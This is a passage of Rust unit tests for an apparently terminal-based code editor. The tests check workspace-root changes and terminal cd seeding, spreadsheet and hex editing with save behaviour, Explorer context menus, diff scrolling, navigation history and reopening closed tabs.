    let handled = app.handle_explorer_shortcut(key(KeyCode::Char('?'), KeyModifiers::SUPER));

    assert!(handled);
    assert_eq!(app.workspace_root(), mid);
    assert_eq!(app.tree.root, mid);
}

#[test]
fn cmd_shift_slash_on_the_tree_root_walks_up_one_filesystem_level() {
    let tmp = tempfile::tempdir().unwrap();
    let inner = tmp.path().join("inner");
    std::fs::create_dir(&inner).unwrap();
    let mut app = App::new(inner.clone()).unwrap();
    app.tree.selected = 0;
    app.focus = Pane::Tree;
    app.sidebar_view = SidebarView::Explorer;

    let handled = app.handle_explorer_shortcut(key(
        KeyCode::Char('/'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ));

    assert!(handled);
    assert_eq!(app.workspace_root(), tmp.path());
    assert_eq!(app.tree.root, tmp.path());
}

#[test]
fn status_bar_indent_menu_action_pins_the_editor_indent_style() {
    use crate::widgets::editor::IndentStyle;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Default is spaces; the pill click routes through SetIndentStyle to tabs.
    app.dispatch_menu_action(
        MenuAction::SetIndentStyle(IndentStyle {
            width: 4,
            use_spaces: false,
        }),
        tmp.path().to_path_buf(),
    );
    assert_eq!(
        app.editor.indent_style(),
        IndentStyle {
            width: 4,
            use_spaces: false,
        }
    );
    assert_eq!(app.editor.indent_style().label(), "Tab Size: 4");
}

#[test]
fn dispatch_make_root_changes_tree_root_and_workspace_root() {
    let tmp = tempfile::tempdir().unwrap();
    let project = tmp.path().join("project_b");
    std::fs::create_dir(&project).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let original_root = app.tree.root.clone();
    app.dispatch_menu_action(MenuAction::MakeRoot(project.clone()), project.clone());
    assert_ne!(app.tree.root, original_root);
    assert_eq!(app.tree.root, project);
    assert_eq!(app.workspace_root(), project);
    // The tree's root node must reflect the new path.
    assert_eq!(app.tree.nodes[0].path, project);
}

#[test]
fn change_workspace_root_writes_cd_into_active_terminal_pty() {
    let tmp = tempfile::tempdir().unwrap();
    let target_dir = tmp.path().join("seeded");
    std::fs::create_dir(&target_dir).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Clear the freshly-spawned shell's "first paint" dirty bit so
    // the next take_dirty() exclusively reflects bytes written by
    // change_workspace_root itself. change_workspace_root performs
    // no other write_input on the terminal, so a dirty flag after
    // the call can only have come from the change_cwd seed.
    let _ = app.terminal_mut().take_dirty();
    app.change_workspace_root(target_dir.clone());

    assert!(
        app.terminal_mut().take_dirty(),
        "change_workspace_root must seed the active terminal's PTY with a cd command so the shell follows the Explorer; nothing was written"
    );
    assert_eq!(
        app.workspace_root(),
        target_dir,
        "workspace_root must still flip to the new path"
    );
}

#[test]
fn xlsx_grid_editing_saves_cells_and_holds_formulas_for_consent() {
    // #178 end-to-end: xlsx cells edit like CSV, Cmd+S applies exactly
    // the touched cells through umya, and a formula cell needs the
    // second (forced) save to be overwritten.
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("book.xlsx");
    let mut book = umya_spreadsheet::new_file();
    let ws = book.sheet_mut(0).unwrap();
    ws.cell_mut((1u32, 1u32)).set_value("name");
    ws.cell_mut((2u32, 1u32)).set_value("qty");
    ws.cell_mut((1u32, 2u32)).set_value("apples");
    ws.cell_mut((2u32, 2u32)).set_value_number(3);
    ws.cell_mut((2u32, 3u32)).set_formula("SUM(B2)");
    umya_spreadsheet::writer::xlsx::write(&book, &p).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&p).unwrap();
    assert!(app.editor.sheet.is_some());

    // Edit qty (0,1) to 42.
    app.handle_sheet_key(key(KeyCode::Right, KeyModifiers::NONE));
    app.handle_sheet_key(key(KeyCode::Char('4'), KeyModifiers::NONE));
    app.handle_sheet_key(key(KeyCode::Char('2'), KeyModifiers::NONE));
    app.handle_sheet_key(key(KeyCode::Enter, KeyModifiers::NONE));
    assert!(app.editor.dirty);
    // And overwrite the formula cell (1,1).
    app.handle_sheet_key(key(KeyCode::Char('8'), KeyModifiers::NONE));
    app.handle_sheet_key(key(KeyCode::Enter, KeyModifiers::NONE));

    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.editor.dirty,
        "the formula cell is held back, so the tab stays dirty: {}",
        app.status
    );
    assert!(
        app.status.contains("formula"),
        "status names it: {}",
        app.status
    );
    let book2 = umya_spreadsheet::reader::xlsx::read(&p).unwrap();
    let ws2 = book2.sheet_by_name("Sheet1").unwrap();
    assert_eq!(
        ws2.cell((2u32, 2u32)).unwrap().value(),
        "42",
        "the plain cell landed on the first save"
    );
    assert!(ws2.cell((2u32, 3u32)).unwrap().is_formula());

    // Second Cmd+S consents to the formula overwrite.
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::SUPER))
        .unwrap();
    assert!(!app.editor.dirty, "everything saved: {}", app.status);
    let book3 = umya_spreadsheet::reader::xlsx::read(&p).unwrap();
    let ws3 = book3.sheet_by_name("Sheet1").unwrap();
    assert!(!ws3.cell((2u32, 3u32)).unwrap().is_formula());
    assert_eq!(ws3.cell((2u32, 3u32)).unwrap().value(), "8");
}

#[test]
fn sheet_grid_editing_types_commits_and_saves_with_the_delimiter() {
    // #177 end-to-end: cell cursor, type-to-replace, commit-and-advance,
    // dirty mirroring, the serialisation save path, and a structure op.
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("data.csv");
    std::fs::write(&p, "a,b\n1,2\n3,4\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&p).unwrap();
    assert!(app.editor.sheet.is_some());

    app.handle_sheet_key(key(KeyCode::Right, KeyModifiers::NONE));
    app.handle_sheet_key(key(KeyCode::Char('9'), KeyModifiers::NONE));
    assert!(
        app.editor.sheet.as_ref().unwrap().editing.is_some(),
        "typing opens the in-grid editor, replacing the value"
    );
    app.handle_sheet_key(key(KeyCode::Char('!'), KeyModifiers::NONE));
    app.handle_sheet_key(key(KeyCode::Enter, KeyModifiers::NONE));
    let view = app.editor.sheet.as_ref().unwrap();
    assert_eq!(view.sheets[0].cell(0, 1), "9!", "Enter commits");
    assert_eq!(view.sheets[0].cur_row, 1, "and advances down");
    assert!(view.dirty && app.editor.dirty);

    app.save();
    assert!(!app.editor.dirty);
    assert_eq!(std::fs::read_to_string(&p).unwrap(), "a,b\n1,9!\n3,4\n");

    // Structure op on the selected row (row index 1: "3,4").
    app.sheet_structure_op(crate::widgets::command_palette::Command::SheetDeleteRow);
    assert!(app.editor.dirty);
    app.save();
    assert_eq!(std::fs::read_to_string(&p).unwrap(), "a,b\n1,9!\n");

    // Esc cancels an edit without committing.
    app.handle_sheet_key(key(KeyCode::Char('x'), KeyModifiers::NONE));
    app.handle_sheet_key(key(KeyCode::Esc, KeyModifiers::NONE));
    assert!(app.editor.sheet.as_ref().unwrap().editing.is_none());
    assert_eq!(
        app.editor.sheet.as_ref().unwrap().sheets[0].cell(0, 1),
        "9!"
    );
}

#[test]
fn hex_typing_edits_bytes_and_cmd_s_writes_them_in_place() {
    // #173 end-to-end: hex-pane nibble typing, Tab to the ASCII pane,
    // dirty tracking, undo, and the byte save path (never the text
    // choke point, which #185 makes refuse preview tabs).
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("blob.bin");
    std::fs::write(&p, vec![0u8; 16]).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&p).unwrap();
    assert!(app.editor.hex.is_some());

    // "4" then "1" completes 0x41 at offset 0 and advances the cursor.
    app.handle_hex_key(key(KeyCode::Char('4'), KeyModifiers::NONE));
    assert_eq!(
        app.editor.hex.as_ref().unwrap().pending_nibble,
        Some(4),
        "first nibble latches"
    );
    app.handle_hex_key(key(KeyCode::Char('1'), KeyModifiers::NONE));
    let v = app.editor.hex.as_ref().unwrap();
    assert_eq!(v.effective_byte(0), Some(0x41));
    assert_eq!(v.cursor, 1, "completed byte advances");
    assert!(app.editor.dirty, "pending edits mark the tab dirty");

    // Tab switches panes; a typed character lands as its byte.
    app.handle_hex_key(key(KeyCode::Tab, KeyModifiers::NONE));
    app.handle_hex_key(key(KeyCode::Char('Z'), KeyModifiers::NONE));
    let v = app.editor.hex.as_ref().unwrap();
    assert_eq!(v.effective_byte(1), Some(b'Z'));
    assert_eq!(v.cursor, 2);

    // Undo removes the last byte; redo restores it.
    app.handle_hex_key(key(KeyCode::Char('z'), KeyModifiers::SUPER));
    assert_eq!(
        app.editor.hex.as_ref().unwrap().effective_byte(1),
        Some(0),
        "undo reverts to the disk byte"
    );
    app.handle_hex_key(key(
        KeyCode::Char('z'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ));
    assert_eq!(
        app.editor.hex.as_ref().unwrap().effective_byte(1),
        Some(b'Z')
    );

    // Cmd+S through the REAL key dispatch writes the bytes in place
    // and cleans the tab (#191 review: app.save() directly would keep
    // passing if the chord routing broke).
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::SUPER))
        .unwrap();
    assert!(!app.editor.dirty);
    let disk = std::fs::read(&p).unwrap();
    assert_eq!(disk[0], 0x41);
    assert_eq!(disk[1], b'Z');
    assert_eq!(disk.len(), 16, "in-place write, length untouched");
    assert!(
        app.status.starts_with("Wrote 2 bytes"),
        "status reports the write: {}",
        app.status
    );
}

#[test]
fn change_workspace_root_skips_cd_when_terminal_runs_a_foreground_app() {
    let tmp = tempfile::tempdir().unwrap();
    let target_dir = tmp.path().join("seeded");
    std::fs::create_dir(&target_dir).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Put the active terminal into a long-lived foreground command.
    // 60s, not 10 (#169): under a loaded suite this test thread can be
    // descheduled >10s between the busy precondition and the re-root —
    // the sleep then exits and the shell GENUINELY reclaims the tty, so
    // the seed was correct and the assert wrong. Pane Drop kills the
    // shell tree, so nothing outlives the test.
    //
    // Proving the sleep is REALLY the foreground command needs more than
    // pgrp samples (#186): rc-startup children also own the tty, so a
    // resolved non-shell reading can be rc — the input above then sits as
    // type-ahead and the re-root races the first prompt. The marker's
    // OUTPUT is the proof: quote-split so the echoed command line cannot
    // match, it can only be printed by the shell's MAIN loop executing
    // the line — rc is done, and the very next resolved non-shell sample
    // can only be the sleep.
    app.terminal_mut()
        .write_input(b"echo GO''-MARKER; sleep 60\n");
    // Load-scaled (#397): the hand-rolled 8000ms loop this replaced did not
    // stretch under load at all, and its failure said only "marker output
    // never arrived" — true of a starved shell and a broken one alike.
    // `await_spawned` names what it waited for and how long it actually had.
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the shell's main loop to print the marker",
        || {
            let (lines, _) = app.terminal().grid_lines();
            lines
                .iter()
                .any(|l| l.contains("GO-MARKER") && !l.contains("echo"))
        },
    );
    // `Some(false)` is a kernel-confirmed foreign foreground group, and
    // with rc ruled out above it can only be the sleep. The fail-closed
    // retry inside `foreground_is_shell` can answer false on an
    // UNRESOLVED sample, so poll the strict accessor, not the policy one.
    // Retain the loop's own sample for the assert: re-sampling could see
    // a transient `None` (a failed tcgetpgrp) after the loop already
    // observed the confirmed reading.
    // Load-scaled like the marker wait above (#397): a shell that wins the
    // marker race inside a stretched budget could still lose a fixed 4000ms
    // here, and this one does not assert on timeout — it falls through to
    // the precondition assert below, which then reads as a broken
    // foreground-group check rather than a starved box. Captured from
    // inside the closure so the assert keeps the sample the wait observed.
    let mut foreground = None;
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the kernel to report a foreign foreground group (the sleep)",
        || {
            foreground = app.terminal().foreground_resolved_for_test();
            foreground == Some(false)
        },
    );
    // `await_spawned` panics rather than returning on timeout, so this can
    // only be `Some(false)`; it pins the sample the wait observed rather
    // than guarding the wait. Same shape as `wait_for_conflicted_entry`.
    assert_eq!(
        foreground,
        Some(false),
        "await_spawned returns only once the kernel reports the foreign group"
    );

    app.change_workspace_root(target_dir.clone());

    // The "terminal busy" status is set by the very branch that skips
    // change_cwd, so it is a deterministic proxy for "no cd was injected"
    // - far more reliable than the async PTY dirty bit, which the running
    // sleep and residual echo can flip independently of any cd seed.
    assert!(
        app.status.contains("terminal busy"),
        "a busy terminal must take the suppress-cd branch and say so; injecting a cd would type the path into the running app. status was: {}",
        app.status
    );
    assert_eq!(
        app.workspace_root(),
        target_dir,
        "the Explorer root must still flip even when the shell cannot be synced"
    );
}

#[test]
fn change_workspace_root_seeds_cd_while_shell_startup_owns_the_tty() {
    let tmp = tempfile::tempdir().unwrap();
    let target_dir = tmp.path().join("seeded");
    std::fs::create_dir(&target_dir).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Reproduce the #94 window deterministically: a shell whose rc startup
    // holds the tty's foreground process group before the first prompt.
    // `set -m` turns job control on, so the foreground `sleep` gets its own
    // process group and the tty — exactly the state an rc-startup child
    // leaves the pane in under full-suite load.
    let script = tmp.path().join("slow-startup.sh");
    std::fs::write(&script, "#!/bin/bash\nset -m\nsleep 30\n").unwrap();
    #[cfg(unix)]
    {
        use std::os::unix::fs::PermissionsExt;
        std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap();
    }
    app.terminals[app.active_terminal] = crate::widgets::terminal::PtyTerminal::new_running(
        script.to_str().unwrap(),
        &[],
        tmp.path(),
    )
    .unwrap();

    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the startup child to take the foreground group from the shell",
        || !app.terminal().foreground_is_shell(),
    );
    // await_spawned panics on timeout, so this pins the state the rest of
    // the test reads rather than guarding the wait, the same shape as
    // wait_for_conflicted_entry.
    assert!(
        !app.terminal().foreground_is_shell(),
        "precondition: the startup child must own the foreground group"
    );

    let _ = app.terminal_mut().take_dirty();
    app.change_workspace_root(target_dir.clone());

    assert!(
        app.terminal_mut().take_dirty(),
        "a Make Root during shell startup must still seed the cd: nothing has ever been \
         written into the pane, so a non-shell foreground group can only be shell startup \
         and the seed is type-ahead for the first prompt"
    );
    assert!(
        !app.status.contains("terminal busy"),
        "the startup window must not be reported as a busy terminal; status was: {}",
        app.status
    );
}

#[test]
fn tree_context_menu_on_subfolder_offers_new_file_new_folder_then_cut_copy_rename_delete() {
    let tmp = tempfile::tempdir().unwrap();
    let d = tmp.path().join("sub");
    std::fs::create_dir(&d).unwrap();
    let n = dir_node(&d);
    let target = d.clone();
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&d),
        &target,
        None,
        None,
    );
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert_eq!(
        labels,
        [
            "New File",
            "New Folder",
            "Cut",
            "Copy",
            "Rename",
            "Make root",
            "Delete"
        ],
    );
}

#[test]
fn tree_context_menu_with_clipboard_offers_paste_on_directory() {
    let tmp = tempfile::tempdir().unwrap();
    let d = tmp.path().join("sub");
    std::fs::create_dir(&d).unwrap();
    let n = dir_node(&d);
    let clip = ExplorerClipboard {
        mode: ExplorerClipMode::Cut,
        paths: vec![tmp.path().join("a.txt")],
    };
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&d),
        &d,
        Some(&clip),
        None,
    );
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert_eq!(
        labels,
        [
            "New File",
            "New Folder",
            "Cut",
            "Copy",
            "Paste",
            "Rename",
            "Make root",
            "Delete"
        ],
    );
}

#[test]
fn tree_context_menu_on_a_deeply_nested_folder_creates_inside_that_folder() {
    // Regression for the user-reported "right-click on nested
    // folders only shows Cut/Copy/Rename/Delete; I cannot create a
    // new file or folder inside the folder I clicked". The menu
    // must surface New File / New Folder, and the resolved
    // target_dir must be the right-clicked folder itself so the
    // create lands inside it (not at the workspace root).
    let tmp = tempfile::tempdir().unwrap();
    let nested = tmp.path().join("a").join("b").join("c");
    std::fs::create_dir_all(&nested).unwrap();
    let n = dir_node(&nested);
    let resolved_target = crate::widgets::file_tree::create_target_dir_for(Some(&n), tmp.path());
    assert_eq!(
        resolved_target, nested,
        "right-click on a nested folder must target the folder itself, not the workspace root",
    );
    let items = build_tree_context_menu_items(
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&nested),
        &resolved_target,
        None,
        None,
    );
    let labels: Vec<&str> = items.iter().map(|(s, _)| s.as_str()).collect();
    assert!(
        labels.contains(&"New File"),
        "nested-folder right-click must offer New File; labels = {labels:?}",
    );
    assert!(
        labels.contains(&"New Folder"),
        "nested-folder right-click must offer New Folder; labels = {labels:?}",
    );
}

#[test]
fn arrow_and_pageup_pagedown_scroll_the_diff_view() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    // 30 distinct lines so the diff has plenty of rows to scroll.
    let left: String = (0..30).map(|i| format!("left-{i}\n")).collect();
    let right: String = (0..30).map(|i| format!("right-{i}\n")).collect();
    std::fs::write(&f1, left).unwrap();
    std::fs::write(&f2, right).unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    // Pretend the editor inner is 12 rows tall (page = 10 after the
    // header + footer reservation).
    app.editor.last_inner = Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 12,
    };
    app.focus_pane(Pane::Editor);

    // Down once → +1.
    app.handle_key(key(KeyCode::Down, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll, 1);
    // PageDown → +page (10).
    app.handle_key(key(KeyCode::PageDown, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll, 11);
    // Up once → -1.
    app.handle_key(key(KeyCode::Up, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll, 10);
    // PageUp → -page.
    app.handle_key(key(KeyCode::PageUp, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll, 0);
    // Home / End.
    app.handle_key(key(KeyCode::End, KeyModifiers::NONE))
        .unwrap();
    let total = app.editor.diff.as_ref().unwrap().rows.len();
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll, total);
    app.handle_key(key(KeyCode::Home, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.diff.as_ref().unwrap().scroll, 0);
}

#[test]
fn ctrl_d_with_no_anchor_stashes_selected_file() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.txt");
    std::fs::write(&f, "v1").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path == f)
        .expect("file must appear in tree");
    app.tree.selected = idx;
    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(app.compare_anchor.as_deref(), Some(f.as_path()));
}

/// Issue #210: Go Forward. After Go Back (Ctrl+-), Ctrl+Shift+- must
/// return to where the user came from, at the same cursor position.
#[test]
fn ctrl_shift_minus_goes_forward_after_back() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn a() {}\n").unwrap();
    std::fs::write(
        &b,
        "fn b() {}\nfn b2() {}\nfn b3() {}\nfn b4() {}\nfn b5() {}\nfn b6() {}\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.focus_pane(Pane::Editor);
    // Jump (records a.rs:0 on the back stack, like go-to-definition).
    app.go_to_definition(b.clone(), 5, 0);
    assert_eq!(app.editor.path.as_deref(), Some(b.as_path()));
    assert_eq!(app.editor.cursor_row, 5);
    // Back returns to a.rs.
    app.handle_key(key(KeyCode::Char('-'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(app.editor.path.as_deref(), Some(a.as_path()));
    // Forward must return to b.rs:5.
    app.handle_key(key(
        KeyCode::Char('-'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(b.as_path()),
        "Ctrl+Shift+- must go forward to the jump target"
    );
    assert_eq!(app.editor.cursor_row, 5, "forward restores the position");
}

/// Legacy encodings fold Ctrl+- into 0x1F (`_` + CONTROL, no SHIFT); that
/// spelling must stay Go BACK, never forward.
#[test]
fn legacy_ctrl_underscore_without_shift_stays_go_back() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn a() {}\n").unwrap();
    std::fs::write(&b, "fn b() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.focus_pane(Pane::Editor);
    app.go_to_definition(b.clone(), 0, 0);
    app.handle_key(key(KeyCode::Char('_'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(a.as_path()),
        "bare Ctrl+_ (legacy Ctrl+-) must still go back"
    );
}

/// Issue #210: Go to Last Edit Location (Cmd+K Cmd+Q). After editing one
/// file and navigating elsewhere, the chord returns to the edit point.
#[test]
fn cmd_k_cmd_q_jumps_to_the_last_edit_location() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn a() {}\nfn a2() {}\nfn a3() {}\n").unwrap();
    std::fs::write(&b, "fn b() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.focus_pane(Pane::Editor);
    // Edit a.rs at row 2.
    app.editor.cursor_row = 2;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    // Navigate away.
    app.editor.open_pinned(&b).unwrap();
    assert_eq!(app.editor.path.as_deref(), Some(b.as_path()));
    // Cmd+K Cmd+Q returns to the edit point in a.rs.
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('q'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(a.as_path()),
        "Cmd+K Cmd+Q must return to the last edited file"
    );
    assert_eq!(app.editor.cursor_row, 2, "and to the edited row");
}

/// Issue #209: VS Code's Reopen Closed Editor. Closing a tab records it;
/// Cmd+K Shift+W restores the most recently closed tab with its cursor
/// position, LIFO across multiple closes.
#[test]
fn cmd_k_shift_w_reopens_the_last_closed_tab_with_its_cursor() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn a() {}\nfn a2() {}\n").unwrap();
    std::fs::write(&b, "fn b() {}\nfn b2() {}\nfn b3() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.open_pinned(&b).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 2;
    // Close b.rs (active), then a.rs, both through the keyboard path.
    app.handle_key(key(KeyCode::Char('w'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(app.editor.path.as_deref(), Some(a.as_path()));
    app.handle_key(key(KeyCode::Char('w'), KeyModifiers::SUPER))
        .unwrap();
    // Reopen walks the closes in reverse order: a.rs first, then b.rs
    // with its remembered cursor row.
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('W'), KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(a.as_path()),
        "the first reopen restores the most recent close"
    );
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('W'), KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(b.as_path()),
        "the second reopen walks back to the earlier close"
    );
    assert_eq!(
        app.editor.cursor_row, 2,
        "the reopened tab must restore its cursor row"
    );
}

/// A closed tab whose file has since vanished is skipped, falling through
/// to the next reopenable entry rather than failing.
#[test]
fn reopen_closed_tab_skips_files_deleted_since_the_close() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn a() {}\n").unwrap();
    std::fs::write(&b, "fn b() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.open_pinned(&b).unwrap();
    app.focus_pane(Pane::Editor);
    // Close b.rs then a.rs; both are recorded (a.rs closes down to the
    // blank buffer, which still counts as closing the tab).
    app.handle_key(key(KeyCode::Char('w'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('w'), KeyModifiers::SUPER))
        .unwrap();
    // The stack top is a.rs (the last close); deleting IT forces the
    // missing-file skip down to b.rs.
    std::fs::remove_file(&a).unwrap();
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('W'), KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(b.as_path()),
        "a vanished top entry is skipped and the next closed tab reopens"
    );
}

/// Close Others records every unpinned tab it drops, so each can be
/// reopened in most-recent-first order.
#[test]
fn close_others_records_the_dropped_tabs_for_reopen() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    let c = tmp.path().join("c.rs");
    for f in [&a, &b, &c] {
        std::fs::write(f, "x\n").unwrap();
    }
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.open_pinned(&b).unwrap();
    app.editor.open_pinned(&c).unwrap();
    let keep = app.editor.active_index();
    app.dispatch_menu_action(MenuAction::CloseOtherTabs(keep), tmp.path().to_path_buf());
    assert_eq!(app.editor.tab_count(), 1, "only c.rs survives");
    app.reopen_closed_tab();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(b.as_path()),
        "the last-recorded dropped tab reopens first"
    );
    app.reopen_closed_tab();
    assert_eq!(app.editor.path.as_deref(), Some(a.as_path()));
}

/// Tab context "Close All" must close the tabs in EVERY split group, not
/// just the clicked one. With files open side by side (e.g. `cgr
/// duplicates`), it used to empty only the focused group, whose blank pane
/// then collapsed away and promoted the other group — so it looked like a
/// single tab closed.
#[test]
fn close_all_closes_every_split_group() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    for f in [&a, &b] {
        std::fs::write(f, "x\n").unwrap();
    }
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.split_editor(); // right group (focused) duplicates a.rs
    app.editor.open_pinned(&b).unwrap();
    assert!(app.editor_layout.is_split(), "two groups before Close All");
    let total: usize = std::iter::once(&app.editor)
        .chain(app.editor_layout.inactive_groups())
        .map(|g| g.editors.len())
        .sum();
    assert!(total >= 2, "tabs are spread over both groups");
    app.dispatch_menu_action(MenuAction::CloseAllTabs, tmp.path().to_path_buf());
    assert!(
        !app.editor_layout.is_split(),
        "Close All collapses the split back to a single group"
    );
    assert_eq!(app.editor.tab_count(), 1, "a single blank pane remains");
    assert_eq!(app.editor.path, None, "no file stays open in any group");
    assert_eq!(app.status, format!("Closed {total} tabs"));
}

#[test]
fn cmd_k_arms_leader_then_unmatched_second_key_clears_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    assert!(app.cmd_k_leader.is_some(), "Cmd+K arms the chord leader");
    // A key that completes no Cmd+K chord clears the leader and falls through
    // to its normal meaning.
    app.handle_key(key(KeyCode::Char('q'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.cmd_k_leader.is_none(),
        "an unmatched second key clears the leader"
    );
}

#[test]
fn cmd_k_leader_is_super_only_off_termux_so_ctrl_k_stays_kill_to_eol() {
    // The Cmd+K chord leader must arm on SUPER (macOS / forwarded), but NOT on
    // a bare Ctrl+K off Termux — Ctrl+K is the editor's kill-to-end-of-line and
    // must not be shadowed by the leader. (On Termux, Ctrl is the documented
    // cmd surrogate, so the leader does claim Ctrl+K there.)
    assert!(is_cmd_k_leader_key(key(
        KeyCode::Char('k'),
        KeyModifiers::SUPER
    )));
    assert!(
        !is_cmd_k_leader_key(key(KeyCode::Char('k'), KeyModifiers::CONTROL)),
        "bare Ctrl+K off Termux must fall through to kill-to-end-of-line, not arm the leader"
    );
}

#[test]
fn cmd_k_then_s_selects_active_file_for_compare() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.txt");
    std::fs::write(&f, "v1").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.path = Some(f.clone());
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.cmd_k_leader.is_none(),
        "the chord consumes the armed leader"
    );
    assert_eq!(app.compare_anchor.as_deref(), Some(f.as_path()));
}

#[test]
fn ctrl_d_again_on_same_file_clears_the_anchor() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.txt");
